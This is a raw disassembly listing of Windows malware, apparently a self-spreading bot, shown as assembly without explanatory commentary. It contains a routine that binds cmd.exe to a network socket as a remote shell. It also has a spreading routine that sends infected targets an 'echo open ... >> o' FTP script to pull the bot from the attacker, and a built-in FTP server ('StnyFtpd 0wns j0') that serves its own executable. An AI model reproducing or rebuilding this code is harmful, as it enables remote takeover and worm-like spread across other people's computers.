call dword_4F1508 ; closesocket
loc_40DF5F: ; CODE XREF: .nsp0:0040DD6Bj
xor eax, eax
loc_40DF61: ; CODE XREF: .nsp0:0040DF56j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40DF66 proc near ; CODE XREF: .nsp0:0040DEE6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
mov edi, [esp+8+arg_4]
test esi, esi
jle short loc_40DF82
push esi
push edi
push [esp+10h+arg_0]
call sub_40DC89
add esp, 0Ch
loc_40DF82: ; CODE XREF: sub_40DF66+Cj
and byte ptr [edi+esi], 0
pop edi
pop esi
retn
sub_40DF66 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40DF89 proc near ; DATA XREF: sub_40E017+15Bo
var_404 = byte ptr -404h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_40DF92: ; CODE XREF: sub_40DF89+25j
; sub_40DF89+41j
push 0
lea eax, [ebp+var_404]
push 400h
push eax
push dword_4E360C
call dword_4E08B8
test eax, eax
jle short loc_40DF92
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
lea eax, [ebp+var_404]
push eax
push dword_4E3608
call dword_4F139C ; WriteFile
jmp short loc_40DF92
sub_40DF89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40DFCC proc near ; DATA XREF: sub_40E017+142o
var_404 = byte ptr -404h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_40DFD5: ; CODE XREF: sub_40DFCC+2Fj
; sub_40DFCC+49j
lea eax, [ebp+var_4]
and [ebp+var_4], 0
push 0
push eax
lea eax, [ebp+var_404]
push 400h
push eax
push dword_4E35FC
call dword_4F13A4 ; ReadFile
cmp [ebp+var_4], 0
jle short loc_40DFD5
push 0
lea eax, [ebp+var_404]
push [ebp+var_4]
push eax
push dword_4E360C
call dword_4E08EC
jmp short loc_40DFD5
sub_40DFCC endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40E017 proc near ; DATA XREF: sub_401CC1+2868o
var_11C = byte ptr -11Ch
var_98 = dword ptr -98h
var_7C = dword ptr -7Ch
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_38 = word ptr -38h
var_36 = word ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 28h
mov esi, eax
pop ecx
lea edi, [ebp+var_11C]
rep movsd
push 1
xor edi, edi
pop esi
mov [eax+98h], esi
push 10h
lea eax, [ebp+var_38]
push edi
push eax
call sub_41B190
add esp, 0Ch
mov [ebp+var_38], 2
push [ebp+var_98]
call dword_4E08A0
push 6
push esi
push 2
mov [ebp+var_36], ax
call dword_4E091C
mov [ebp+arg_0], eax
lea eax, [ebp+var_38]
push 10h
push eax
push [ebp+arg_0]
call dword_4E08CC
push 5
push [ebp+arg_0]
call dword_4E08C8
mov ebx, dword_4F13B8
mov esi, dword_4F1324
loc_40E097: ; CODE XREF: sub_40E017+1CBj
push edi
push edi
push [ebp+arg_0]
call dword_4E0930
mov dword_4E360C, eax
lea eax, [ebp+var_C]
push edi
push eax
push offset dword_4E3608
push offset dword_4E3604
mov [ebp+var_C], 0Ch
mov [ebp+var_4], 1
mov [ebp+var_8], edi
call ebx ; CreatePipe
lea eax, [ebp+var_C]
push edi
push eax
push offset dword_4E3600
push offset dword_4E35FC
call ebx ; CreatePipe
push 44h
lea eax, [ebp+var_7C]
push edi
push eax
call sub_41B190
mov eax, dword_4E3604
add esp, 0Ch
mov [ebp+var_44], eax
mov eax, dword_4E3600
mov [ebp+var_40], eax
push edi
push 1
lea eax, [ebp+var_3C]
push 2
push eax
mov [ebp+var_7C], 44h
mov [ebp+var_50], 101h
mov [ebp+var_4C], di
call dword_4F13B4 ; GetCurrentProcess
push eax
push dword_4E3600
call dword_4F13B4 ; GetCurrentProcess
push eax
call dword_4F13B0 ; DuplicateHandle
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_7C]
push eax
push edi
push edi
push 4000090h
lea eax, [ebp+var_C]
push 1
push eax
lea eax, [ebp+var_C]
push eax
push offset aCmd_exe ; "cmd.exe"
push edi
call dword_4F1328 ; CreateProcessA
lea eax, [ebp+var_18]
push eax
push edi
push edi
push offset sub_40DFCC
lea eax, [ebp+var_C]
push edi
push eax
call dword_4F1338 ; CreateThread
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push edi
push edi
push offset sub_40DF89
lea eax, [ebp+var_C]
push edi
push eax
call dword_4F1338 ; CreateThread
push 0FFFFFFFFh
mov [ebp+var_10], eax
push [ebp+var_28]
call dword_4F135C ; WaitForSingleObject
push edi
push [ebp+var_10]
call dword_4F1368 ; TerminateThread
push edi
push [ebp+var_14]
call dword_4F1368 ; TerminateThread
push [ebp+var_10]
call esi ; CloseHandle
push [ebp+var_14]
call esi ; CloseHandle
push edi
push [ebp+var_28]
call dword_4F13AC ; TerminateProcess
push dword_4E3604
call esi ; CloseHandle
push dword_4E3608
call esi ; CloseHandle
push dword_4E35FC
call esi ; CloseHandle
push dword_4E3600
call esi ; CloseHandle
push [ebp+var_24]
call esi ; CloseHandle
push [ebp+var_28]
call esi ; CloseHandle
jmp loc_40E097
sub_40E017 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40E1E7 proc near ; DATA XREF: .nsp0:0043A010o
jmp $+5
sub_40E1E7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40E1EC proc near
push 0FFFEh
push 400h
call sub_4165B5
pop ecx
mov dword_4E3614, eax
pop ecx
retn
sub_40E1EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E203 proc near ; DATA XREF: sub_40B1CC+34Do
var_6C0 = byte ptr -6C0h
var_2C0 = byte ptr -2C0h
var_C0 = byte ptr -0C0h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 6C0h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 27h
mov esi, eax
pop ecx
lea edi, [ebp+var_B0]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [eax+98h], esi
push 10h
lea eax, [ebp+var_14]
push ebx
push eax
call sub_41B190
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_A4]
call dword_4E08A0
push ebx
push esi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], ebx
call dword_4E091C
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jnz short loc_40E2AA
cmp [ebp+var_1C], ebx
jnz short loc_40E28A
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_408EB9
add esp, 14h
loc_40E28A: ; CODE XREF: sub_40E203+65j
lea eax, [ebp+var_2C0]
push eax
call sub_41458A
push [ebp+var_AC]
call sub_40AB19
pop ecx
pop ecx
push ebx
call dword_4F1388 ; ExitThread
loc_40E2AA: ; CODE XREF: sub_40E203+60j
mov eax, [ebp+var_AC]
push 10h
imul eax, 234h
mov dword_4537D4[eax], edi
lea eax, [ebp+var_14]
push eax
push edi
call dword_4E08CC
cmp eax, esi
mov ebx, 400h
jnz loc_40E3A5
call dword_4E083C
cmp eax, 2740h
jz short loc_40E32A
xor esi, esi
cmp [ebp+var_1C], esi
jnz short loc_40E30A
push esi
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_408EB9
add esp, 14h
loc_40E30A: ; CODE XREF: sub_40E203+E5j
lea eax, [ebp+var_2C0]
push eax
call sub_41458A
push [ebp+var_AC]
call sub_40AB19
pop ecx
pop ecx
push esi
call dword_4F1388 ; ExitThread
loc_40E32A: ; CODE XREF: sub_40E203+DEj
push 0FFFEh
push ebx
call sub_4165B5
pop ecx
mov dword_4E3614, eax
pop ecx
mov [ebp+var_12], ax
lea eax, [ebp+var_14]
push 10h
push eax
push edi
call dword_4E08CC
cmp eax, esi
jnz short loc_40E3A5
call dword_4E083C
xor esi, esi
cmp [ebp+var_1C], esi
jnz short loc_40E385
cmp eax, 2740h
jz short loc_40E385
push esi
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_408EB9
add esp, 14h
loc_40E385: ; CODE XREF: sub_40E203+159j
; sub_40E203+160j
lea eax, [ebp+var_2C0]
push eax
call sub_41458A
push [ebp+var_AC]
call sub_40AB19
pop ecx
pop ecx
push esi
call dword_4F1388 ; ExitThread
loc_40E3A5: ; CODE XREF: sub_40E203+CDj
; sub_40E203+14Cj
push 5
push edi
call dword_4E08C8
cmp eax, esi
jz loc_40E48A
mov [ebp+var_4], 10h
mov esi, offset byte_43A0E8
loc_40E3C2: ; CODE XREF: sub_40E203+1D7j
; sub_40E203+227j ...
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_C0]
push eax
push edi
call dword_4E0930
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_40E3C2
cmp [ebp+var_1C], 0
jnz short loc_40E403
push 0
lea eax, [ebp+var_2C0]
push [ebp+var_20]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_B0]
call sub_408EB9
add esp, 14h
loc_40E403: ; CODE XREF: sub_40E203+1DDj
lea eax, [ebp+var_2C0]
push eax
call sub_41458A
pop ecx
lea eax, [ebp+var_2C0]
push 0
push 200h
push eax
push [ebp+arg_0]
call dword_4E08B8
cmp eax, 0FFFFFFFFh
jz short loc_40E3C2
push esi
push esi
push dword_4E05C8
push [ebp+var_B0]
call sub_40A019
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d >> o&echo user 1 >>o &e"...
lea eax, [ebp+var_6C0]
push ebx
push eax
call sub_41B910
add esp, 1Ch
lea eax, [ebp+var_6C0]
push 0
push eax
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_6C0]
push eax
push [ebp+arg_0]
call dword_4E08EC
cmp eax, 0FFFFFFFFh
jz loc_40E3C2
inc dword_4E361C
jmp loc_40E3C2
; ---------------------------------------------------------------------------
loc_40E48A: ; CODE XREF: sub_40E203+1ADj
push edi
call dword_4E0934
push [ebp+var_AC]
call sub_40AB19
pop ecx
push 0
call dword_4F1388 ; ExitThread
sub_40E203 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E4A5 proc near ; DATA XREF: sub_40B1CC+22Ao
var_A70 = byte ptr -0A70h
var_8E0 = byte ptr -8E0h
var_6E0 = dword ptr -6E0h
var_4C8 = byte ptr -4C8h
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_43C = dword ptr -43Ch
var_338 = byte ptr -338h
var_2D4 = byte ptr -2D4h
var_2A0 = byte ptr -2A0h
var_23C = byte ptr -23Ch
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_128 = byte ptr -128h
var_FC = byte ptr -0FCh
var_C8 = byte ptr -0C8h
var_B0 = byte ptr -0B0h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_3C = byte ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A70h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 1
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6E0]
pop ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A70]
xor esi, esi
push eax
push 101h
mov [ebp+var_1C], ebx
mov [ebp+var_2C], ebx
mov [ebp+var_24], ebx
mov [ebp+var_22C], esi
mov [ebp+var_43C], esi
call dword_4F14DC ; WSAStartup
push esi
push ebx
push 2
call dword_4F150C ; socket
mov esi, dword_4F14E0
lea ecx, [ebp+var_1C]
push 4
push ecx
mov edi, 0FFFFh
push 4
push edi
push eax
mov [ebp+var_8], eax
call esi ; setsockopt
lea eax, [ebp+var_2C]
push 4
push eax
push 0FFFFFFFBh
push edi
mov edi, [ebp+var_8]
push edi
call esi ; setsockopt
lea eax, [ebp+var_24]
push eax
push 8004667Eh
push edi
call dword_4F14E4 ; ioctlsocket
mov ax, word ptr dword_4E05C8
and [ebp+var_48], 0
push eax
mov [ebp+var_4C], 2
call dword_4E08A0
mov [ebp+var_4A], ax
lea eax, [ebp+var_4C]
push 10h
push eax
push edi
call dword_4F14E8 ; bind
test eax, eax
jge short loc_40E56B
mov eax, ebx
jmp loc_40EAD2
; ---------------------------------------------------------------------------
loc_40E56B: ; CODE XREF: sub_40E4A5+BDj
push 0Ah
push edi
call dword_4F14EC ; listen
mov [ebp+var_22C], ebx
mov ebx, dword_4F1510
mov [ebp+var_228], edi
mov [ebp+var_4], edi
loc_40E589: ; CODE XREF: sub_40E4A5+11Dj
; sub_40E4A5+625j
push 41h
lea esi, [ebp+var_22C]
pop ecx
lea edi, [ebp+var_43C]
rep movsd
xor esi, esi
lea eax, [ebp+var_43C]
push esi
push esi
push esi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call dword_4F1514 ; select
cmp eax, 0FFFFFFFFh
jz loc_40EACF
xor edi, edi
cmp [ebp+var_4], esi
mov [ebp+arg_0], edi
jl short loc_40E589
loc_40E5C4: ; CODE XREF: sub_40E4A5+61Fj
xor esi, esi
push 64h
lea eax, [ebp+var_2A0]
push esi
push eax
call sub_41B190
push 64h
lea eax, [ebp+var_B0]
push esi
push eax
call sub_41B190
add esp, 18h
lea eax, [ebp+var_43C]
push eax
push edi
call sub_435832 ; __WSAFDIsSet
test eax, eax
jz loc_40EABD
cmp edi, [ebp+var_8]
jnz short loc_40E67B
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_23C]
push eax
push [ebp+var_8]
call dword_4F14F0 ; accept
cmp eax, 0FFFFFFFFh
jz loc_40EABD
xor ecx, ecx
cmp [ebp+var_22C], esi
jbe short loc_40E645
lea edx, [ebp+var_228]
loc_40E635: ; CODE XREF: sub_40E4A5+19Ej
cmp [edx], eax
jz short loc_40E645
inc ecx
add edx, 4
cmp ecx, [ebp+var_22C]
jb short loc_40E635
loc_40E645: ; CODE XREF: sub_40E4A5+188j
; sub_40E4A5+192j
cmp ecx, [ebp+var_22C]
jnz short loc_40E663
cmp [ebp+var_22C], 40h
jnb short loc_40E663
mov [ebp+ecx*4+var_228], eax
inc [ebp+var_22C]
loc_40E663: ; CODE XREF: sub_40E4A5+1A6j
; sub_40E4A5+1AFj
cmp eax, [ebp+var_4]
jle short loc_40E66B
mov [ebp+var_4], eax
loc_40E66B: ; CODE XREF: sub_40E4A5+1C1j
push esi
push 15h
push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_40EABD
; ---------------------------------------------------------------------------
loc_40E67B: ; CODE XREF: sub_40E4A5+15Aj
push esi
lea eax, [ebp+var_2A0]
push 64h
push eax
push edi
call dword_4F1504 ; recv
test eax, eax
jg short loc_40E6E2
mov edx, [ebp+var_22C]
xor ecx, ecx
cmp edx, esi
jbe short loc_40E6D6
lea eax, [ebp+var_228]
loc_40E6A2: ; CODE XREF: sub_40E4A5+207j
cmp [eax], edi
jz short loc_40E6B0
inc ecx
add eax, 4
cmp ecx, edx
jb short loc_40E6A2
jmp short loc_40E6D6
; ---------------------------------------------------------------------------
loc_40E6B0: ; CODE XREF: sub_40E4A5+1FFj
dec edx
cmp ecx, edx
jnb short loc_40E6D0
lea eax, [ebp+ecx*4+var_228]
loc_40E6BC: ; CODE XREF: sub_40E4A5+229j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov edx, [ebp+var_22C]
add eax, 4
dec edx
cmp ecx, edx
jb short loc_40E6BC
loc_40E6D0: ; CODE XREF: sub_40E4A5+20Ej
dec [ebp+var_22C]
loc_40E6D6: ; CODE XREF: sub_40E4A5+1F5j
; sub_40E4A5+209j
push edi
call dword_4F1508 ; closesocket
jmp loc_40EABD
; ---------------------------------------------------------------------------
loc_40E6E2: ; CODE XREF: sub_40E4A5+1E9j
lea eax, [ebp+var_338]
push eax
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2A0]
push offset aSS_1 ; "%s %s"
push eax
call sub_41CC10
lea eax, [ebp+var_B0]
push offset aUser_0 ; "USER"
push eax
call sub_41C4C0
add esp, 18h
test eax, eax
jnz short loc_40E726
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_40EAA8
; ---------------------------------------------------------------------------
loc_40E726: ; CODE XREF: sub_40E4A5+272j
lea eax, [ebp+var_B0]
push offset aPass ; "PASS"
push eax
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_40E74A
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_40EAA8
; ---------------------------------------------------------------------------
loc_40E74A: ; CODE XREF: sub_40E4A5+296j
lea eax, [ebp+var_B0]
push offset aSyst ; "SYST"
push eax
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_40E76E
push esi
push 0Dh
push offset a215Stnyftpd ; "215 StnyFtpd\n"
jmp loc_40EAA8
; ---------------------------------------------------------------------------
loc_40E76E: ; CODE XREF: sub_40E4A5+2BAj
lea eax, [ebp+var_B0]
push offset aRest ; "REST"
push eax
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_40E792
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_40EAA8
; ---------------------------------------------------------------------------
loc_40E792: ; CODE XREF: sub_40E4A5+2DEj
lea eax, [ebp+var_B0]
push offset off_44B628
push eax
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_40E7B6
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_40EAA8
; ---------------------------------------------------------------------------
loc_40E7B6: ; CODE XREF: sub_40E4A5+302j
lea eax, [ebp+var_B0]
push offset aType ; "TYPE"
push eax
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_40E7F1
lea eax, [ebp+var_338]
push offset aA_0 ; "A"
push eax
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_40E7F1
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_40EAA8
; ---------------------------------------------------------------------------
loc_40E7F1: ; CODE XREF: sub_40E4A5+326j
; sub_40E4A5+33Dj
lea eax, [ebp+var_B0]
push offset aType_0 ; "TYPE"
push eax
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_40E82C
lea eax, [ebp+var_338]
push offset aI ; "I"
push eax
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_40E82C
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_40EAA8
; ---------------------------------------------------------------------------
loc_40E82C: ; CODE XREF: sub_40E4A5+361j
; sub_40E4A5+378j
lea eax, [ebp+var_B0]
push offset aPasv ; "PASV"
push eax
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_40E87A
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+var_128]
rep movsd
push eax
lea eax, [ebp+var_128]
push eax
movsw
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_128]
loc_40E86A: ; CODE XREF: sub_40E4A5+414j
push eax
push [ebp+arg_0]
call ebx ; send
xor esi, esi
loc_40E872: ; CODE XREF: sub_40E4A5+4E4j
mov edi, [ebp+arg_0]
jmp loc_40EAAB
; ---------------------------------------------------------------------------
loc_40E87A: ; CODE XREF: sub_40E4A5+39Cj
lea eax, [ebp+var_B0]
push offset aList_0 ; "LIST"
push eax
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_40E8BB
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C8]
rep movsd
movsw
push eax
lea eax, [ebp+var_C8]
push eax
movsb
call sub_418D00
pop ecx
push eax
lea eax, [ebp+var_C8]
jmp short loc_40E86A
; ---------------------------------------------------------------------------
loc_40E8BB: ; CODE XREF: sub_40E4A5+3EAj
lea eax, [ebp+var_B0]
push offset aPort ; "PORT"
push eax
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_40E98E
lea eax, [ebp+var_2D4]
push eax
lea eax, [ebp+var_FC]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_2A0]
push offset aS_19 ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_41CC10
lea eax, [ebp+var_FC]
push eax
call sub_41B3F0
mov edi, eax
lea eax, [ebp+var_2D4]
push eax
call sub_41B3F0
mov [ebp+var_C], eax
push 32h
lea eax, [ebp+var_FC]
push esi
push eax
call sub_41B190
push [ebp+var_C]
lea eax, [ebp+var_FC]
push edi
push offset aXX ; "%x%x\n"
push eax
call sub_41B740
add esp, 44h
lea eax, [ebp+var_FC]
push 10h
push esi
push eax
call sub_41C130
mov [ebp+var_C], eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_28]
push eax
lea eax, [ebp+var_3C]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_41B740
add esp, 24h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
push [ebp+arg_0]
call ebx ; send
jmp loc_40E872
; ---------------------------------------------------------------------------
loc_40E98E: ; CODE XREF: sub_40E4A5+42Bj
lea eax, [ebp+var_B0]
push offset aRetr ; "RETR"
push eax
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz loc_40EA89
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; send
push [ebp+var_C]
lea eax, [ebp+var_3C]
push eax
call sub_40EAD9
pop ecx
cmp eax, 1
pop ecx
jnz loc_40EA7F
lea eax, [ebp+var_3C]
push eax
lea eax, [ebp+var_8E0]
push offset aFtpTransferSta ; "ftp transfer started to: %s"
push eax
call sub_41B740
add esp, 0Ch
cmp [ebp+var_444], esi
jnz short loc_40EA0E
push esi
lea eax, [ebp+var_8E0]
push [ebp+var_448]
push eax
lea eax, [ebp+var_4C8]
push eax
push [ebp+var_6E0]
call sub_408EB9
add esp, 14h
loc_40EA0E: ; CODE XREF: sub_40E4A5+544j
call sub_40EB56
cmp eax, 1
jnz loc_40EAAB
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx ; send
lea eax, [ebp+var_3C]
push eax
lea eax, [ebp+var_8E0]
push offset aFtpTransferCom ; "ftp transfer complete to: %s"
push eax
call sub_41B740
add esp, 0Ch
cmp [ebp+var_444], esi
jnz short loc_40EA6A
push esi
lea eax, [ebp+var_8E0]
push [ebp+var_448]
push eax
lea eax, [ebp+var_4C8]
push eax
push [ebp+var_6E0]
call sub_408EB9
add esp, 14h
loc_40EA6A: ; CODE XREF: sub_40E4A5+5A0j
lea eax, [ebp+var_8E0]
push eax
call sub_41458A
inc dword_4E33C0
pop ecx
jmp short loc_40EAAB
; ---------------------------------------------------------------------------
loc_40EA7F: ; CODE XREF: sub_40E4A5+520j
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_40EAA8
; ---------------------------------------------------------------------------
loc_40EA89: ; CODE XREF: sub_40E4A5+4FEj
lea eax, [ebp+var_B0]
push offset aQuit_1 ; "QUIT"
push eax
call sub_41C4C0
pop ecx
test eax, eax
pop ecx
jnz short loc_40EAAB
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_40EAA8: ; CODE XREF: sub_40E4A5+27Cj
; sub_40E4A5+2A0j ...
push edi
call ebx ; send
loc_40EAAB: ; CODE XREF: sub_40E4A5+3D0j
; sub_40E4A5+571j ...
push 64h
lea eax, [ebp+var_2A0]
push esi
push eax
call sub_41B190
add esp, 0Ch
loc_40EABD: ; CODE XREF: sub_40E4A5+151j
; sub_40E4A5+17Aj ...
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_40E5C4
jmp loc_40E589
; ---------------------------------------------------------------------------
loc_40EACF: ; CODE XREF: sub_40E4A5+10Fj
push 1
pop eax
loc_40EAD2: ; CODE XREF: sub_40E4A5+C1j
pop edi
pop esi
pop ebx
leave
retn 4
sub_40E4A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EAD9 proc near ; CODE XREF: sub_40E4A5+516p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
call dword_4F14DC ; WSAStartup
push 0
push 1
push 2
call dword_4F150C ; socket
push [ebp+arg_0]
mov dword_4E3620, eax
mov [ebp+var_10], 2
call dword_4F14F8 ; inet_addr
push [ebp+arg_4]
mov [ebp+var_C], eax
call dword_4F14FC ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword_4E3620
call dword_4F1500 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40EB51
push dword_4E3620
call dword_4F1508 ; closesocket
call dword_4F14D8 ; WSACleanup
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40EB51: ; CODE XREF: sub_40EAD9+60j
push 1
pop eax
leave
retn
sub_40EAD9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EB56 proc near ; CODE XREF: sub_40E4A5:loc_40EA0Ep
var_504 = byte ptr -504h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+var_104]
push 104h
push eax
push 0
call dword_4F132C ; GetModuleFileNameA
lea eax, [ebp+var_104]
push offset aRb ; "rb"
push eax
call sub_41B170
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40EBED
test byte ptr [esi+0Ch], 10h
jnz short loc_40EBD1
push edi
mov edi, 400h
loc_40EB99: ; CODE XREF: sub_40EB56+78j
push esi
push 1
lea eax, [ebp+var_504]
push edi
push eax
call sub_41AE60
add esp, 10h
lea eax, [ebp+var_504]
push 0
push edi
push eax
push dword_4E3620
call dword_4F1510 ; send
push 1
call dword_4F1334 ; Sleep
test byte ptr [esi+0Ch], 10h
jz short loc_40EB99
pop edi
loc_40EBD1: ; CODE XREF: sub_40EB56+3Bj
push esi
call sub_418D80
pop ecx
push dword_4E3620
call dword_4F1508 ; closesocket
call dword_4F14D8 ; WSACleanup
push 1
pop eax
loc_40EBED: ; CODE XREF: sub_40EB56+35j
pop esi
leave
retn
sub_40EB56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EBF0 proc near ; DATA XREF: sub_401CC1+1DBBo
; sub_40B1CC+475o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_41BC60
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_41B190
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_4E08A0
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_4E091C
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_40EFE1
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_4537D4[eax], edi
lea eax, [ebp+var_24]
